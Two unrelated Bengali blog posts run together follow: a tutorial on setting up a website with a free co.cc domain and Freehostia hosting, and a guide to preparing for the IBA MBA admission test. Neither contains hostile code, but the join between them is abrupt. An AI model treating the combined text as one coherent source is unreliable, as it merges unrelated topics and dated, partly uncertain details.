ফ্রি হোস্টিং এবং ডোমেইনসহ মাত্র এক ঘণ্টায় তৈরি করুন নিজের একটি ওয়েবসাইট বা ব্লগ সাইট

নিজের একটি ওয়েবসাইট থাকুক, কে না চায়?
তাই দেরি না করে চলুন এখনি একটি ওয়েবসাইট বানিয়ে ফেলি নিজের জন্য।

কী কী করতে হবে?
""""""""""""""""""

১. একটি ডোমেইন রেজিস্ট্রেশন করতে হবে।
২. হোস্টিং স্পেস রেজিস্ট্রেশন করতে হবে।
৩. সেটাপ করতে হবে।

ব্যাস, হয়ে গেলো আপনার ওয়েবসাইট।

এবার আসুন সংক্ষিপ্ত বর্ণনায় যাই :

১. ডোমেইন রেজিস্ট্রেশন
''''''''''''''''''''''''''''''''''''''''

প্রথমেই একটি ডোমেইন চয়েজ করতে হবে। কী নামে আপনি আপনার ওয়েবসাইট করতে চান, সেটি।
এটা হতে পারে আপনার নিজের নামে, কিংবা আপনার প্রতিষ্ঠানের নামে অথবা আপনার কোনো প্রিয় মানুষের নামে।
তবে ডোমেইন চয়েজ করার সময় যে দিকটা মনে রাখবেন সবচে' বেশি সেটা হলো, এমন কোনো নাম পছন্দ করুন যেটা সবার খুব সহজেই মনে থাকে, এবং মুখে বললেই অন্যজন বুঝতে পারে।

ডোমেইন নাম বাছাই করার পর, আপনাকে এখন দেখতে হবে, সেই ডোমেইনটি খালি আছে কিনা।

তাহলে আর দেরি নয়। ডোমেইন নেম নির্বাচন এবং রেস্ট্রিশন করতে চলে যান কো.সিসিতে।

এখানে ক্লিক করুন



প্রথমেই এখানে একটা একাউন্ট খুলে ফেলুন। একাউন্ট খুলতে কোনো ফি দিতে হয় না। সম্পূর্ণই ফ্রি।
একাউন্ট খোলার পর লগ-ইন করার পর যে পৃষ্ঠাটি সেখান থেকে Getting A New Domain বাটনে ক্লিক করুন।





খালি বক্সে আপনার চয়েজবল নামটি দিয়ে চেক এভেইলেবিটি বাটনে ক্লিক করুন।



ধরি আপনার পছন্দের নামটি হচ্ছে mywebsiteblog ।

এই সাইটির নাম খালি আছে তাই এটি রেজিস্ট্রেশন করা যাবে। এতে কোনো ফি লাগবে না।



Continue to registration বাটনে ক্লিক করুন।

এবার একটি বার্তা দেখতে পাবেন_ Your new domain has been successfully registered.

ব্যাস, ডোমেইন রেজিস্ট্রেশন হয়ে গেলো। আপাতত এখানের কাজ শেষ। এই উইন্ডোটি বন্ধ করবেন না। এটি এভাবেই রেখেদিন।



২. হোস্টিং রেজিস্ট্রেশন
'''''''''''''''''''''''''''''''''''''

ডোমেইন তো ফ্রিতে পাওয়া গেলো। এবার প্রয়োজন হোস্টিং স্পেস। হোস্টিং হলো যেখানে আমার ওয়েবসাইটের ফাইলগুলো থাকে। কম্পিউটারে যেমন হার্ডডিস্ক, তেমনি অনলাইনের হার্ডডিস্ক হলো হোস্ট স্পেস।

হোস্ট স্পেস ফ্রি পাওয়া এরকম অনেক আছে। তবে আমার কাছে সবচেয়ে সহজ মনে হয়েছে ফ্রিহোস্টিয়া।
তাদের সিপ্যানেল খুবই সহজ সরল। লগ-ইন করলে আপনার কাছে সহ ক্লিয়ার হয়ে যাবে।

কথা আর না বাড়িয়ে চলুন, ফ্রি হোস্টিয়াতে যাই।

--------------------------------- ফ্রিহোস্টিয়া -----------------------------


ফ্রিহোস্টিয়ার চকোলেট প্যাকেজটি ফ্রি। অন্যদুটির জন্য আপনাকে পয়সা দিতে হেব। সুতরাং চকোলেট-ই এখন আমাদের টার্গেট।

চলুন চকোলেট রেজিস্ট্রেশনের ধাপগুলো দেখি।


১. Take a Bite বাটনে ক্লিক করুন।

২. এবার যে পেজটি আসবে, এটি সাইনআপ ফরম। একটু কেয়ার নিয়ে পূরণ করতে হবে।



এখানে আপনার ডোমেইন নেমটি লিখতে হবে। দেখুন লাল চিহ্নিত স্থানগুলো।

৩. ফরম পূরণ শেষ হলে নিচে একটি ওয়ার্ড ভেরিফিকেশন ইমেজ আছে। ইমেজের ঘরে থাকা নম্বর ও অক্ষরগুলো লিখে Continue বাটনে ক্লিক করুন।



৪. লগিন কন্ট্রোল প্যানেল বাটনে দেখতে পাবেন। কিন্তু লগিন করার কোনো দরকার নেই। উইন্ডো ক্লোজ করে দিন।

৫. আপনার ইমেইল ওপেন করুন। ফ্রিহোস্টিয়া থেকে একটি মেইল চলে এসেছে আপনার ইনবক্সে। এই ইমেইলে আছে, আপনার ইউজার নেম, পাসওয়ার্ড, এফটিপি লগিন বিস্তারিত, ডিএনএস ইত্যাদি। বিস্তারিত না বুঝলে সমস্যা নেই।
৬. আপনি আবারও ফ্রিহোস্টিয়া তে চলে যান। ইমেইলে পাওয়া ইউজার নেম এবং পাসওয়ার্ড দিয়ে লগিন করুন।

৭. লগিন হতে থাক, এই ফাঁকে ডোমেইন কো.সিসি-তে চলুন, যেখানে রেখে গিয়েছিলাম- সেখানে।

৮. সেটাপ বাটনে ক্লিক করুন।



৯. Manage Domain এর সেটাপ অপশনে ক্লিক করুন।



১০. এক নাম্বারে আছে দেখুন Name Server । Name Server-এর রেডিও বাটনে ক্লিক করলে দুটি বক্স আসবে। সেখানে আপনি ইমেইলে পেয়েছিলেন দুটি ডিএনএস ঠিকানা।
dns1.freehostia.com
dns2.freehostia.com

এই ডিএনএস ঠিকানা দুটি ছবির মতো করে লিখে দিয়ে সেটআপ বাটনে ক্লিক করুন



১১. তারপর যে পেজটি আসবে, সেখানে ওকে করে দিন। ব্যাস এখানে আর কোনো কাজ নেই আপনার। এখান থেকে লগ-আউট হয়ে বের হয়ে আসতে পারেন।
এবার চলুন, ফ্রিহোস্টিয়াতে যাই।

১২. ফ্রিহোস্টিয়াতে লগিন করার সাথে সাথে আমার হোস্ট কন্ট্রোল প্যানেলে চলে আসবো আমি। এখানের Site Manager ড্রপডাউন বাটন থেকে Hosted Domains-এ ক্লিক করুন।



১৩. নিচের ছবির মতো করে এখানে আপনার ডোমেইন নামটি লিখে দিন। তারপর Add Domain বাটনে ক্লিক করুন।



১৪. মূলত আপনার কাজ শতকরা ৯০ ভাগ শেষ হয়ে গেছে। বাকী দশ ভাগ কাজ হচ্ছে, আপনার সাইটে আপনি এখন কী রাখবেন, তা ঠিক করা।

১৫. আমি আগে জুমলা ব্যবহার করতাম। জুমলা শিখতে চাইলে সামহোয়্যারইনব্লগার গৌতম রায় দার ব্লগ দেখতে পারেন। তিনি খুব সুন্দর করে জুমলার টিউটোরিয়াল দিয়েছেন।
বর্তমানে আমি ওয়ার্ডপ্রেস দিয়ে কাজ করি। ওয়ার্ডপ্রেস খুব ভালো লাগে, এটা সহজ এবং কনটেন্ট ব্যবহার করা যায় অতি সহজে।

ফ্রিহোস্টিয়া দিয়ে জুমলা, দ্রুপল কিংবা ওয়ার্ডপ্রেস খুব সহজেই ইনস্টল করে কাজ করা যায়।

ফ্রিহোস্টিয়ার কন্ট্রোল প্যানেলের ওয়েব টুলস ব্যবহার করে মাত্র এক ক্লিকে এসব সিএমস ইনস্টল করা যায়। এজন্য আপনাকে কোনো প্রোগ্রামিং ভাষা জানতে হবে না।

যেকোনো সমস্যায় আমাকে মেইল করতে পারেন। কিংবা জানাতে পারেন সমস্যার কথা।

এই টিউটোরিয়ালটি বুঝতে সমস্যা হলে, দয়া করে জানাবেন। আমি আমার সাধ্যমতো চেষ্টা করবো আপনাকে হেল্প করতে। আমি চেষ্টা করেছি আরও সংক্ষিপ্তাকারে লেখার। কিন্তু পারিনি। আশা করি আপনাদের কাজে লাগবে।
আমার ভুল-ভ্রান্তি হওয়া স্বাভাবিক। যদি এখানে কোনো ভুল হয়ে থাকে দয়া করে জানিয়ে কৃতার্থ করবেন।


আইবিএ-র এমবিএ যারা দেশে থাকতে চান তাদের জন্য সবচেয়ে ভাল অপশন
। দেশে চাকরি করার জন্য আইবিএ-র এমবিএ করার থেকে ভাল কোন অপশান নেই।
কাদের জন্য: আসলে হওয়া উচিৎ কাদের জন্য নয়?? আপনি যেকোন ব্যাকগ্রাউন্ডেরও হোন কোন সমস্যা নেই। বাংলা পড়ুন বা ইতিহাস পড়ুন, বিজনেস পড়ুন বা ইন্জিনিয়ারিং পড়ুন, জাতীয় বিশ্ববিদ্যালয় পড়ুন বা বুয়েটে পড়ুন আপনার ব্যাচেলর ডিগ্রী থাকলেই পরীক্ষা দিতে পারবেন। একটা মিনিমাম রিকোয়ারমেন্ট আছে যেটা সবাই মিট করে।

কেন আইবিএ-র এমবিএ: আপনি যদি দেশে সরকারী চাকরিতে গিয়ে ঘুষ খাইতে না চান বা আপনার কোন মামা-চাচা আপনাকে চাকরি দেওয়ার মত এরকম কেউ নাই আর বিজনেস করারও ইচ্ছে বা ক্যাপিট্যাল না থাকে, তাহলে দেশে থেকেই ভাল চাকরি করে মিডলক্লাস বা আপার-মিডলক্লাস লাইফ লিড করার জন্য আইবিএ-র এমবিএ-র কোন বিকল্প নেই
। আইবিএ-র এমবিএ করে আপনি মোটামোটি ভাল প্লেসমেন্টের নিশ্চয়তা পাবেন। এখানে দুধরণের এমবিএ আছে। রেগুলার আর এক্সিকিউটিভ। এক্সিকিউটিভ এমবিএ-তে তিনবছরের চাকরির অভিজ্ঞতা লাগে। তবে এক্সিকিউটিভের এডমিশান টেস্ট একটু ইজি হয়। কোন ম্যাথ পার্ট থাকেনা। চাকরির অভিজ্ঞতা থাকলে এক্সিকিউটিভে যাওয়াই ভাল। নাহয় রেগুলারটাতে যাবেন। এক্সিকিউটিভে অবশ্য (মনে হয়) টাকাও অনেক বেশি লাগে। রেগুলারে টাকা তেমন খরচ হয়না।

এডমিশান টেস্ট: যুক্তরাষ্ট্রে এমবিএ-তে ভর্তি হতে গেলে অনেক ঝামেলা। জিম্যাট দাও, টোফেল দাও, স্কোর পাঠাও, এডমিশান রচনা লিখ, ইন্টারভিউ দাও। কত যে ঝামেলা, যারা এটার ভিতর দিয়ে গিয়েছেন তারা জানবেন। আইবিএ-তে একটা ভর্তি পরীক্ষা আর একটা ইন্টারভিউ, এ দুটাই যথেষ্ঠ। ঝামেলাবিহীন বলা যায়। ইন্টারভিউটাও একদম ইজি। তাই সবচেয়ে বেশি মনোযোগ দিতে হবে এডমিশান টেস্টের দিকে। আপনি এডমিশান টেস্টে ভাল করলেই মোটামোটি নিশ্চিত চান্স পাওয়া। তবে মনে রাখা দরকার দেশের একমাত্র মানসম্মত এমবিএ হওয়ার জন্য এখানে প্রচুর কম্পিটিশান। যদিও এই "মানসম্মত" বলতে আমি বাংলাদেশের স্ট্যান্ডার্ডে মানসম্মতকেই বুঝাচ্ছি। অবশ্য আইবিএ-তে প্রচুর আউল-ফাউল শিক্ষক আছেন। সেটা না ধরাই বেটার। এডমিশান টেস্টে কি কি থাকে সেটা নিয়ে কথা বলছি প্রথমে।

ল্যাংগুয়েজ এন্ড কমিউনিকেশান: এরকম ফ্যান্সি নাম থাকলেও আসলে এটা হচ্ছে ভারবাল/ইংলিশ সেকশান
। এখানে কয়েকধরনের প্রশ্ন থাকে:
১
। ভোকাবুলারি-বেসড প্রশ্ন: এখানে সিননিমস(সমার্থক শব্দ), এন্টনিমস(বিপরীত শব্দ) আর এনালজি এই তিনটা ক্যাটাগরির প্রশ্ন থাকতে পারে। কোন কোন বছর এই ক্যাটাগরি থেকে কোন প্রশ্নই আসেনা। তবে এখানে ভাল দখল থাকলে সেটা ইংলিশ সেকশানের অন্যসব প্রশ্নের জন্যও ভাল উপকারে আসে। প্রত্যেকটা প্রশ্নের জন্য পাঁচটা চয়েস থাকে। এনালজি প্রশ্নগুলো একটু ভিন্ন। এখানে এক জোড়া শব্দ থাকে প্রশ্ন হিসেবে আর এ দুটা শব্দের মধ্যকার সম্পর্ক যেরকম একই সম্পর্কের আরেক জোড়া শব্দ আনসার চয়েস থেকে বেছে নিতে হয়।
২
। রিডিং কম্প্রিহেনশান: রিডিং কম্প্রিহেনশানে সাধারণত একটা পেসেজ থাকে যেখান থেকে ৪/৫টা প্রশ্নের উত্তর দিতে হয়। অনেক সময় ছোট ছোট দুটা পেসেজ থাকে, প্রত্যেকটা পেসেজের জন্য ২/৩টা প্রশ্ন থাকে। এই রিডিং কম্প্রিহেনশানগুলো সারাজীবন যে ধরণের রিডিং কম্প্রিহেনশান পন্ঞম শ্রেনী থেকে দ্বাদশ শ্রেণী পর্যন্ত করেছেন সেগুলার মতই। তবে সময় কম থাকে বলে এটার জন্য ট্যাকটিকস একটু ভিন্ন। আপনার যদি ভাল রিডিং হ্যাবিট থাকে তাহলে এটা ইজি হয়ে যাবে।
৩
। সেন্টেন্স কমপ্লেশান: এটা সবসময় থাকেনা। কোন কোন বছর থাকে। এখানে একটা লম্বা সেন্টেন্স থাকে যার একটা বা দুটা শুন্যস্থান থাকে। শুন্যস্থান পূরণই বলা যায়। সেন্টেন্সটার মিনিং বুঝা জরূরী আর ভাল ভোকাবুলারী থাকা দরকার এখানে ভাল করার জন্য।
৪
। গ্রামার: গ্রামার শব্দটা দেখে ভয় পাওয়ার কারন নেই। এখানে আপনাকে টেন্স, ভয়েস, নেরেশান এসব করতে হবেনা। এখানে সাধারণত সেন্টেন্স কারেকশান, পিনপয়েন্টিং এররস এই দুইটা আইটেমের প্রশ্ন থাকতে পারে। পিনপয়েন্টিং এররসে একটা লম্বা সেন্টেন্স থাকে যার পাঁচটা/চারটা পার্ট আন্ডারলাইনড থাকে। এখানে একটা ভুল থাকে যেটা খুঁজে বের করতে হয়। এটা সবচেয়ে সহজ সেকশান। টোফেল সিবিট-র বইয়ে এধরনের প্রচুর এক্সারসাইজ থাকে। সেন্টেন্স কারেকশানে একটা সেন্টেন্স থাকে যার কিছু অংশ বা পুরোটাই আন্ডারলাইন থাকে। আন্ডারলাইনকৃত অংশে কোন একটা ভুল থাকে, সেটা আনসার চয়েস দেখে ঠিক করতে হয়।এটা জিম্যাট থেকে আসে।

কোয়ান্টিটেটিভ: এডমিশান টেস্টের ২য় অংশটা হল ম্যাথ বা কোয়ান্টিটেটিভ
। এখানে হাইস্কুল লেভেলের এরিথমেটিক, জিয়মেট্রি, এলজেব্রা আর ওয়ার্ড প্রবলেম আসে। এটা মোটামোটি স্ট্রেইট ফরওয়ার্ড, তাই তেমন আলোচনায় যাচ্ছিনা। এক্সিকিউটিভে এটা থাকেনা।

এনালিটিকাল এবিলিটি:
এনালিটিকাল এবিলিটিতে দুধরণের প্রশ্ন থাকতে পারে
। পাজল আর ক্রিটিকাল রিজনিং। পাজলে একটা লম্বা পেসেজের মত থাকে যেখানে বিভিন্ন তথ্য দেওয়া থাকবে। যেমন ক খ গ ঘ চারজন একটা গোলটেবিলে বসবে। ক, খ-র পাশে বসতে চাই, খ আবার গ-য়ের পাশে বসবেনা। ক ঘ-য়ের পাশ বসলে গ ক-য়ের পাশে বসবেনা। এ রকমই হয়। ক্রিটিকাল রিজনিং-এ একটা ৪/৫ লাইনের প্যসেজ থাকে, সেটার উপর বেইস করে আনসার চয়েজ থেকে কনক্লুশানকে উইকেন/স্ট্রেংথেন বা কনক্লুশান ড্র করা, সিমিলার এক্সাম্পল দেয়া এসব করতে হয়। এ দুটা ছাড়াও আরো দুটা সেকশান থাকতে পারে। ডাটা সাফিসিয়েন্সি আর ডাটা ইন্টারপ্রেটেশান। এ দুটা আসলে ম্যাথের পার্ট হওয়া উচিৎ কিন্তু আইবিএ-তে বেশিরভাগই এগুলা এনালিটিকালের পার্ট হিসেবে আসে। কয়েকবার অবশ্য ম্যাথের পার্ট হিসেবেও এসেছে। ডাটা সাফিসিয়েন্সি একটু কঠিন যা জিম্যাট থেকে আসে আর ডাটা ইন্টারপ্রেটেশান আসে জিআরই থেকে। ইন্টারপ্রেটেশানে পাইচার্ট, বারডায়াগ্রাম এসব থেকে উত্তর দিতে হয় এবং এটা সবার জন্যই সহজ। সাফিসিয়েন্সিতে দুটা স্টেইটমেন্ট থেকে প্রশ্নটা উত্তর করা যাবে কিনা এটাই ডিসাইড করতে হয়।

রাইটিং পার্ট:
রাইটিং পার্টে দু ধরণের প্রশ্ন থাকে সাধারণত
। একটাতে ফ্রি-রেসপন্স প্রশ্ন অন্যটাতে থিমেটিক রাইটিং বা এধরণের কিছু থাকে। এখানে ১৫% থেকে ২০% গ্রেড থাকে। কম সময়ের মধ্যে গ্রামাটিকেল ভুল ছাড়া মিনিংফুল লিখার প্র‌্যাকটিস করতে হবে।

এখন আসা যাক কিভাবে প্রস্তুতি নিবেন সে প্রশ্নে: আইবিএ-র এমবিএ-র প্রিপারেশান নিতে গেলে সুবিধা হচ্ছে আপনি একই প্রিপারেশানে ঢাবি-র ইভনিং এমবিএ, বিআইবিএম-র এমবিএম, এমআইএসটি-র এমবিএ, প্রাইভেটের এমবিএ এমনকি বিসিএসের অনেকাংশেই প্রিপারেশান হয়ে যাবে
। প্রিপারেশানের জন্য দুই ধরণের পরীক্ষার্থীর জন্য দুধরণের টাইমস্কেল। যদি আপনার ইংরেজী ভাল/মোটামোটি ভাল জানা থাকে তাহলে ২/৩ মাস যথেষ্ঠ। যদি তা না থাকে তাহলে আগে আপনাকে ৫/৬ মাস সময় ইংরেজী ভাল জানার জন্য ব্যয় করতে হবে। তারপর এমবিএ ভর্তির জন্য প্রিপারেশান নিতে হবে। আর যারা জিআরই/জিম্যাট দিয়েছেন বা প্রিপারেশান নিয়েছেন এবং জিম্যাটে ৬০০ আর জিআরই-তে ম্যাথে ৭৭০+ এবং ভারবালে ৫০০+ পেয়েছেন বা পাওয়ার মত যোগ্যতা আছে তাদের জন্য ১সপ্তাহের প্রিপারেশান যথেষ্ঠ।

ইংলিশ ভাল না থাকলে ভাল করার জন্য কুম্ভকর্ণ নিকের জিম্যাট পোস্ট থেকে কপি করছি
।ইংলিশে ইমপ্রোভ করার এটা সাধারণ গাইডলাইন। কারো যদি ডিটেলস দরকার হয় তাহলে কমেন্টে জবাব দেওয়া যাবে।

"আপনাকে আগে জানতে হবে আপনার ইংলিশ স্কিলস কেমন
। যদি ভাল না হয় তাহলে জিমেটে ভাল করা সম্ভব না। যদি ইংলিশ স্কিলস ভাল না হয় তাহলে ৬ মাস প্রথমে ইংলিশ স্কিলস ভাল করতে হবে। এজন্য আপনি ওয়ার্ড পাওয়ার মেইড ইজি বা ওয়ার্ড স্মার্ট বইগুলো পড়ে ভাল ভোকাবুলারি আয়ত্বে আনতে হবে। সাথে সাথে ইংলিশ ফিকশান, নিউজপেপার, ম্যাগাজিন, জার্নাল এসব পড়তে হবে। যেকেউ যদি ৪-৬ মাস এভাবে সিস্টেমেটিক্যালি চেষ্টা করে তাহলে খুব ভাল ইংলিশ স্কিলস আয়ত্বে আনতে পারবে। ইংলিশ তো আরবীর মতই একটা ভাষা। বাংলাদেশের অশিক্ষিত লোকজন কোনদিন আরবী না জেনে মিডল ইস্টে গিয়ে ছয় মাসেই আরবী শিখে ফেলতেছে! তাহলে ইংলিশ না পারার কোন কারন নেই।"

"ইংলিশ ভাল না খারাপ সেটা বুঝার জন্য যেকোন ইংলিশ ডেইলির এডিটরিয়াল পেজে কলামগুলো পড়ে দেখুন
। যদি আপনি ভাল বুঝতে পারেন আর খুব কম সংখ্যাক শব্দই আপনার অজানা থাকে তাহলে এমবিএ-র জন্য আপনাকে মাথা ঘামাতে হবেনা। এটুকু ইংলিশ দিয়েই আপনি ভাল করবেন।"

প্রিপারেশান প্ল্যান:
আপনার ইংলিশ উপরের লেভেলে আছে এটা ধরে নিয়ে এগুচ্ছি
। প্রেপের জন্য আপনার ২/৩ মাস সময় লাগবে। প্রথমেই ভোকাবুলারির কথাই আসি। সাইফুর'স এমবিএ বইয়ে ভোকাবুলারি যেগুলো দেওয়া আছে সেগুলোই যথেষ্ঠ। অথবা ওয়ার্ডস্মার্ট ১ আর ২ পড়তে পারেন। ভোকাবুলারির জন্য ফ্ল্যাশকার্ড বানাতে পারেন। আপনার যদি অলরেডী মোটামোটি লেভেলের ইংলিশ জানা থাকে তাহলে সাইফুর'সের ৮০% শব্দই আপনার জানা থাকবে। বইটার এন্টনিমস পড়ার দরকার নেই, সিননিমস পড়লেই এন্টনিমস জানবেন। তবে ওয়ার্ড শিখার সাথে সাথে আপনাকেকোন ইংলিশ ম্যাগাজিন, ডেইলী, উইকলি এরকম কিছু নিয়মিত পড়তে হবে। নাহয় শিখা ওয়ার্ডগুলো কোনদিন মনে থাকবেনা। তাছাড়া এটা আপনাকে রিডিং কম্প্রিহেনশান, সেন্টেন্স কম্প্লেশান বা অন্যান্য অংশেও ব্যাপক সাহায্য করবে। সাইফুর'সের গ্রামার পরশনে যা আছে তাও নিয়মিত পড়ুন এবং বুঝুন। সাথে সাথে রাইটিং প্র‌্যাকটিস করুন। ফ্রি-হ্যান্ড লিখে ইংরেজী জানা কাউকে আপনার লেখা দেখান, তিনি যাতে ভুলগুলো বের করে দিতে পারেন। ম্যাথের জন্য সাইফুর'সেরই বইয়ের ম্যাথ পার্টটা ভালমতে প্র্যাকটিস করুন। ম্যাথে যদি সমস্যা হয় তাহলে কাপলান জিআরই/জিম্যাট ম্যাথ ওয়ার্কবুকটা ইন-ডেপথ প্র্যাকটিস করতে পারেন। ওখানে কিছু শর্টকাট দেওয়া আছে সেগুলো দেখুন। এনালিটিকাল এবিলিটি-র জন্য প্রিন্সটন রিভিউ ক্র্যাকিং দ্যা জিআরই থেকে পাজলের ট্যাকটিকসগুলো শিখে নিন। ওখানে ভালভাবে এক্সপ্লেইন করা আছে। ক্রিটিকাল রিজনিং-এর জন্য প্রিন্সটন রিভিউ ক্র্যাকিং দ্যা জিম্যাট দেখতে পারেন। ডাটা ইন্টারপ্রেটেশানের জন্যও প্রিন্সটন রিভিউ জিআরই আর সাফিসিয়েন্সির জন্য সেইম প্রিন্সটন রিভিউ ক্র্যাকিং দ্যা জিম্যাট থেকে পড়ুন। সেখানে শর্টকাটগুলো ভালমতে প্র্যাকটিস করুন।

প্র্যাকটিস করুন প্রচুর:
আইবিএ-র ভর্তি পরীক্ষায় সময় খুব কম, তাই পরীক্ষা দিতে যাওয়ার আগে প্রচুর প্র্যাকটিস করুন
। নাহয় সেখানে গিয়ে জানা প্রশ্নও ভুল করবেন। প্র্যাকটিসের জন্য সবচেয়ে ভাল হচ্ছে আইবিএ-র এমবিএ-র আগের বছরের প্রশ্নপত্র। সেগুলো সময় ধরে ম্যাথের জন্য ৩০/৩৫ মিনিট, ভারবালের জন্য ৩০/৩৫ মিনিট, এনালিটিকালের জন্য ১৫/২০ মিনিট, রাইটিংয়ের জন্য ২৫/৩০ মিনিট এভাবে সময় দিয়ে ঘড়ি হাতে অনুশীলন করুন। এটা যাস্ট একটা সাধারণ গাইডলাইন। আপনি সময়টাকে একটু এদিক ওদিক করে দেখতে পারেন। প্রথম প্রথম অনেক বেশি সময় লাগবে, তবে আস্তে আস্তে প্র্যাকটিস করতে থাকলে সময় কমে আসবে অনেক। যারা এগুলো প্র্যাকটিস করে ফেলেছেন অথচ হাতে এখনও প্রচুর সময় আছে তারা অফিসিয়াল জিম্যাট, অফিসিয়াল জিআরই, ব্যারন্‌স জিম্যাট/জিআরই থেকে প্র্যাকটিস করতে পারেন। তবে সাইফুর'সের এমবিএ বইয়ের অনুশীলনীগুলো করতে ভুলবেননা যেন।

পরীক্ষা:
এমবিএ পরীক্ষা সাধারণত ডিসেম্বরে হয়
। এক্সিকিউটিভটা বোধ হয় মার্চের দিকে হয়। পরীক্ষা ২ ঘন্টার হয়। বেশিরভাগ সময়ই ১০০ মার্কের হলেও আগে অনেক সময় ৯০, ৯৫ বা ১০৫/১১০ এরকমও হয়েছে। ম্যাথে থাকে ৩০%, ভারবালে ৩০% এনালিটিকালে ১৫/২০% আর রাইটিং-এ ২০/২৫%। এখন মনে হয় রাইটিং-কে আলাদাভাবে পরীক্ষার শুরুতে ৩০ মিনিট সময়ে শেষ করতে হয়, তারপর অন্যপার্টগুলোর জন্য ১.৫ ঘন্টা সময় থাকে। (কেউ জানলে একটু আওয়াজ দিয়েন।) পরীক্ষায় গিয়ে সময় যাতে ভালভাবে ব্যবহার করতে পারেন সেজন্য বাসায় পরিক্ষার কন্ডিশানকে সিমুলেট করে প্রচুর প্র্যাকটিস করেন, সময় কিরকম লাগতেছে, ভুল কিরকম হচ্ছে সেগুলো খেয়াল করে উন্নতি করার চেষ্টা করনে। পরীক্ষার যথেষ্ঠ আগেই সেন্টারে যাবেন কারন সিটিং এরেন্জমেন্টে মাঝে মাঝে ঝামেলা হয়, যদিও খুব কম। পরীক্ষা সাধারণত শুক্রবারে হয়, তাই ট্রাফিক জ্যাম থাকেনা। ফরম যেকোন সময় নিলেও জমা দিবেন ডেডলাইনের ২/৩ দিন আগে। তাহলে আপনার সিট বিজনেস ফ্যাকাল্টি বা আইবিএ-তেই পড়বে যেখানে সিটিং এরেন্জমেন্ট আর পরীক্ষার পরিবেশ ভাল। পরীক্ষায় কিছুতেই নার্ভাস হবেননা, কারন কঠিন প্রশ্ন হলে সবার জন্যই কঠিন। আপনি এভাবে প্রেপ নিলে ভাল না করার কোন উপায় নেই। তাছাড়া ভাল না করলেও আপনি যতবার ইচ্ছে ততবার পরীক্ষা দিতে পারবেন। এটা মনে রাখলে আর নার্ভাসনেস ফিল করবেননা। আরেকটা যেটা করতে পারেন সেটা হচ্ছে আইবিএ-র এমবিএ আর বিবিএ ভর্তি পরিক্ষা মোটামোটি একই। যদিও এমবিএ-র প্রশ্নপত্র একটু কঠিন হয় বিবিএ থেকে, তবে প্যাটার্ণ একই থাকে। বিবিএ-র পরীক্ষাটা হয় এমবিএ-র এক-দেড়মাস আগে। যেকেউ, যেকোন বয়সে সেখানে পরীক্ষা দিতে পারে। আপনি একটা ফরম নিয়ে বিবিএ পরীক্ষাটা দিয়ে ফেলেন। আপনার এমবিএ ভর্তি পরীক্ষার জন্য একদম আসল পরিক্ষা হলে পরীক্ষা দেওয়ার প্রস্তু্তি হয়ে যাবে! পরে এমবিএ পরীক্ষার সময় ফ্যামিলিয়ারিটির জন্য ভাল করবেন।

ইন্টারভিউ:
রিটেনে সাধারণত ২৫০-৩০০ জনকে সিলেক্ট করে
। এদএর মধ্য থেকে ইন্টারভিউর মাধ্যমে ১৩০-১৫০ জনকে ফাইনালি এডমিশান অফার দেয়। ইন্টারভিউতে আইবিএ-র ৫/৬ জন শিক্ষক থাকেন। তবে প্রশ্ন করে ২/৩ জন। ইন্টারভিউর জন্য এক্সিকিউটিভ ড্রেস পড়ে যাবেন। প্রশ্নগুলো স্ট্রেইটফরোয়ার্ড। আপনি কেন এমবিএ করছেন, আপনার ব্যাকগ্রাউন্ড এসব জিজ্ঞেস করবে। আর আপনার গ্র্যাড/আন্ডারগ্র্যাডের একই ডিসিপ্লিনের কোন শিক্ষক থাকলে তিনি সে বিষয়ে ব্যাসিক প্রশ্ন করবেন। সমসাময়িক পত্রপত্রিকায় হট কোন ইস্যু নিয়ে (রাজনৈতিক না, বিজনেস রিলেটেড) প্রশ্ন করতে পারেন। না জানলে, দুঃখিত আমি জানিনা বলবেন, ভরং করবেন না অথবা কথা ঘুরাবেন না। ইন্টারভিউর ম্যাক্সিমাম টাইম সাধারণত ১৫ মিনিট। আপনার লিখিত ভাল হলে ইন্টারভিউতে কম পেলেও আপনি চান্স পেয়ে যাবেন। যাবার আগে বাসায় কিছুটা প্র্যাকটিস করতে পারেন।


শর্টকাট:
যারা এত সিরিয়াসলি প্রেপ নিতে চাননা বা নিজের কনফিডেন্স নিয়ে চিন্তিত তাদের জন্য বলছি
। আইবিএ-র প্রশ্নগুলো আসে অফিসিয়াল জিম্যাট গাইড, জিআরই বিগবুক, ব্যারন্‌স জিআরই আর জিম্যাট থেকে। মুখস্তবিদ্যা ভাল থাকলে এখানকার সবপ্রশ্ন মুখস্থ করে ফেলেন। একদম উত্তরসহ মুখস্থ। সাথে আগের বছরের প্রশ্নগুলো ভালমতে প্র্যাকটিস করেন। ৮০% প্রশ্ন কমন পড়ার ৯৫% গ্যারান্টি!! তবে কমন না পাইলে আমাকে মারতে আইসেননা। আমি এই পদ্ধতি সাপোর্ট করিনা। উপরের ডিটেলস পদ্ধতিটাই কাজে লাগান, ভবিষ্যতে অনেক কাজে দিবে।





ডিসক্লেইমার:
যারা ঘুমকে হারম করে, দিন-রাত এক করে, নাওয়া-খাওয়া এক করে, ছোটা-বড় বাথরুম বন্ধ করে, বন্ধু-বান্ধব আত্বীয়-স্বজন বন্ধ করে, টিভি-সিনেমা বন্ধকরে, ইহ জগৎ-পরজগৎ ভূলে গিয়ে, বই-খাতা কাগজ-কলম এক করে, ৩৬৫ দিন পড়াশুনা করে আই.বি.এ তে এডমিশন দিতে চান তারা দয়া করে ওই রকম ভাবে আইবিএ তে ডোকার চিন্তা না করাই ভাল
।

কারন এর মানে হলে আপনার সেই পরিমান মেধা নেই, আর সেই মানের মেধা না থাকার ফরে ১ বছর সবকিছু বাদ দিয়ে পড়ার ফলে চান্স পাওয়া যেতে পারে কিন্তু ইনকোর্স/ক্লাস টেষ্ট পরিক্ষার জন্য তো ১ বছর টাইম পাবেন না
।
সুতরাং ধরাটা সেখানেই খেতে হবে
। অথচ বেশীর ভাগ ছেলে মেয়েই অত্যন্ত মেধাবী যারা ২/৩ মাসের বেশী না পড়েই চান্স পায়। অল্প মেধা নিয়ে অধিক মেধাবীদের সাথে লড়তে যাওয়া ঠিক না। ফেল মানেই বের করে দেওয়া, বিকল্প কোনো সুযোগ নেই।

বহু ছাত্র দেখেছি ১বছরের ঘুম হারাম করে চান্স পেয়ে পরে আর কোর্স শেষ করতে পারে না
। তখন সত্যিই খারাপ লাগে, আর তার মত হতাশ অন্য কাউকে হতে দেখি নি।

